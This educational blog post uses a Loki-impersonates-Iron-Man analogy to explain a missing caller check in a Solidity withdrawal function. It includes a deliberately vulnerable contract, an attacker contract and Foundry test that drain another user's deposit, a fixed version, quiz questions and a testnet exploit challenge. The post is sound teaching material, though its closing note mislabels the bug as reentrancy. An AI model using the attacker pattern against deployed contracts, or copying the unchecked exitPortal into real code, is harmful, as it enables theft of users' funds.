1210 words
6 minutes
Doctor Strange and the Mirror Portal – Improper Input Validation (Case Study)

Loki Impersonates Iron Man – Input Validation Exploit Case Study#

TL;DR#

  • Vulnerability: Missing input validation in exitPortal() → anyone can impersonate a validator/hero.
  • Impact: Loki tricks the Mirror Dimension into letting him withdraw funds while pretending to be Iron Man.
  • Severity: Critical.
  • Fix: Require proper identity/authentication (consensus proof, signatures) before allowing exits.

🎬 Story Time#

In the MCU, Doctor Strange protects the Mirror Dimension, where only trusted Avengers should pass through portals.

But what if Strange fails to check who’s walking out?

Enter Loki, the God of Mischief. If the portal only checks “is there an address?” instead of “is this really Iron Man?”, Loki can slip out disguised as Tony Stark and drain Stark’s treasure.

This mirrors a real smart contract bug: missing input validation on withdrawal/exit functions.

Fun fact: Loki doesn’t appear in Doctor Strange (2016), but a post-credits scene shows Strange agreeing to help Thor search for Odin - with Loki tagging along. Loki’s impersonator skills make him the perfect metaphor here.

All Files Available here.#

thesandf
/
thesandf.xyz
Waiting for api.github.com...
00K
0K
0K
Waiting...

Vulnerable Contract#

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
contract MirrorDimensionPortal {
mapping(address => uint256) public balances;
function deposit() external payable {
require(msg.value > 0, "zero deposit");
balances[msg.sender] += msg.value;
}
/// @notice Vulnerable exit function
function exitPortal(address validator, uint256 amount) external {
// Missing: require(msg.sender == validator)
// Missing: consensus proof / signature verification
require(amount > 0 && balances[validator] >= amount, "insufficient balance");
balances[validator] -= amount;
payable(msg.sender).transfer(amount);
}
}
WARNING

Anyone can pass in validator = IronMan but call from msg.sender = Loki.
The portal happily pays Loki.


Proof of Exploit#

Attacker contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {MirrorDimensionPortal} from "./MirrorDimensionPortal.sol";
contract LokiAttack {
MirrorDimensionPortal public portal;
constructor(address _portal) {
portal = MirrorDimensionPortal(_portal);
}
function impersonateIronMan(address ironMan, uint256 amount) external {
portal.exitPortal(ironMan, amount);
}
receive() external payable {}
}

Flow:#

  1. Iron Man deposits 100 ETH.
  2. Loki calls exitPortal(IronMan, 100 ether).
  3. Contract doesn’t validate sender.
  4. Funds are sent to Loki.

Fixed Contract#

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
contract MirrorDimensionPortalFixed {
mapping(address => uint256) public balances;
function deposit() external payable {
require(msg.value > 0, "zero deposit");
balances[msg.sender] += msg.value;
}
function exitPortal(uint256 amount) external {
require(amount > 0, "invalid amount");
require(balances[msg.sender] >= amount, "insufficient balance");
balances[msg.sender] -= amount;
(bool sent,) = payable(msg.sender).call{value: amount}("");
require(sent, "send failed");
}
}

Fixes:

  • Only msg.sender can withdraw their own funds.
  • Stub for validator proofs or signature-based authorization.
  • Safer .call pattern for transfers.
NOTE

Note: This demo uses .call for clarity and to show a realistic transfer. For production, prefer the pull-payment pattern and use nonReentrant + CEI. See MirrorPortalPullPayment.sol for a production-ready pattern.


Test Snippet (Foundry)#

pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import "../src/MirrorDimensionPortal.sol";
import "../src/LokiAttack.sol";
contract MirrorPortalTest is Test {
MirrorDimensionPortal portal;
LokiAttack loki;
address ironMan = makeAddr("ironMan");
address lokiAddr = makeAddr("loki");
uint256 amount = 100 ether;
function setUp() public {
portal = new MirrorDimensionPortal();
vm.deal(ironMan, amount);
vm.startPrank(ironMan);
portal.deposit{value: amount}();
vm.stopPrank();
}
function testExploit() public {
vm.startPrank(lokiAddr);
loki = new LokiAttack(address(portal));
loki.impersonateIronMan(ironMan, amount);
vm.stopPrank();
assertEq(address(loki).balance, amount, "Loki drained funds");
}
}

Run locally:

Terminal window
forge test -vv

Real-World Parallels#

  1. Ethereum Validator Exit – $41M Hack (2025)
    Missing validation in validator exits allowed unauthorized withdrawals.
    👉 Loki pretending to be Iron Man.
    u.today report

  2. Improper Input Validation in DeFi
    Missing require() checks enable impersonation/unauthorized access.
    👉 Doctor Strange forgetting to check the exit.
    Metana.io blog


Auditor’s Checklist#

  • Validate ownership/signatures for addresses.
  • Require consensus proofs for validator exits.
  • Never let arbitrary addresses withdraw funds.
  • Simulate attacker contracts in tests.

Recommendations#

  • Always match msg.sender with the acting account.
  • Use ECDSA signatures or consensus proofs.
  • Prefer pull-payment patterns.
  • Include impersonation scenarios in test suites.

Challenge: Stop Loki’s Portal Heist!#

Challenge Name: Doctor Strange vs. Loki – Input Validation Exploit

  • Description: Doctor Strange guards the Mirror Portal, but missing input validation lets mischievous villains like Loki impersonate heroes and withdraw funds. Your mission is to exploit the vulnerability in the portal contract, understand why it happens, and implement a secure fix.

Steps:#

  1. Deploy the vulnerable MirrorDimensionPortal.sol on Sepolia (use Remix or Foundry).

  2. Deploy LokiAttack.sol to exploit the portal and drain another user’s balance.

  3. Implement a fixed contract that enforces:

    • msg.sender is the rightful owner or
    • cryptographic authorization (signatures/consensus proof).
  4. Test your fix locally or on Sepolia using Foundry, Hardhat, or Remix.

  5. Share your fixed contract’s Sepolia address in the Discussions tab and on X with #TheSandFChallenge and tag @THE_SANDF.

  6. Bonus: Include a screenshot showing the successful exploit and the corrected behavior.

  7. Top submissions earn a chance to join our audit beta program.


  1. What is the core flaw in the exitPortal(address validator, uint256 amount) function?
  • a) It uses transfer() instead of call().

  • b) It allows anyone to specify a validator address and withdraw funds from that address without verifying the caller.

  • c) It accepts uint256 instead of uint128 for amount.

  • d) It incorrectly stores balances in mapping(address => uint256).

    Show Answer

    Answer: b) It allows anyone to specify a validator address and withdraw funds from that address without verifying the caller.

    Explanation: The function checks balances[validator] >= amount but never requires msg.sender == validator (or validates a signature/consensus proof). That lets a malicious caller pass someone else’s address as validator and receive the funds.

  1. Which of the following is the strongest immediate mitigation to stop the impersonation exploit in exitPortal?
  • a) Make the balances mapping private.

  • b) Require msg.sender == validator (or move validator out of the caller-supplied arguments) and/or require a valid ECDSA signature from the validator.

  • c) Switch from transfer() to send().

  • d) Replace uint256 with int256 for balances so negatives are possible.

    Show Answer

    Answer: b) Require msg.sender == validator (or move validator out of caller-supplied arguments) and/or require a valid ECDSA signature from the validator.

    Explanation: Making balances private or changing numeric types doesn’t prevent unauthorized withdrawals. The correct fix is to enforce that only the rightful owner (or a cryptographically authorized actor) can trigger a withdrawal - either by matching msg.sender or verifying a signature/consensus proof.

  1. Which secure design pattern would best reduce attack surface for withdrawals in a production-ready portal?
  • a) Keep a single exitPortal() that immediately transfers funds to msg.sender using transfer().

  • b) Use a pull-payment pattern where users call withdraw() to pull their funds; pair with nonReentrant and CEI (checks-effects-interactions).

  • c) Allow anyone to call exitPortal() but log events so auditors can track withdrawals later.

  • d) Add a public setter that lets validators opt-in and confirm balances.

    Show Answer -

    Answer: b) Use a pull-payment pattern where users call withdraw() to pull their funds; pair with nonReentrant and CEI (checks-effects-interactions).

    Explanation: Pull payments avoid forced transfers to arbitrary addresses and let users claim funds themselves. Combined with CEI and nonReentrant, this pattern minimizes reentrancy/authorization risks and is preferred for production code.


Closing Thought#

Just like Loki slipping out of the Mirror Dimension disguised as Iron Man, attackers exploit missing validation to impersonate and steal.

Doctor Strange’s lesson for Solidity devs:
👉 Always check who’s walking through your portal.

NOTE

This repo is an educational minimal reproduction of reentrancy. The MCU analogy (Loki Impersonates Iron Man) makes the bug memorable, but the exploit reflects real-world $41M hacks.


Ready to Battle Bugs?#

Join the Defi CTF Challenge! Audit vulnerable contracts in our Defi CTF Challenges (Full credit to Hans Friese, co-founder of Cyfrin.), submit your report via GitHub Issues/Discussions, or tag @THE_SANDF on X. Let’s secure the Web3 multiverse together! 🏗️ Start the Challenge

All Files Available here.#

thesandf
/
thesandf.xyz
Waiting for api.github.com...
00K
0K
0K
Waiting...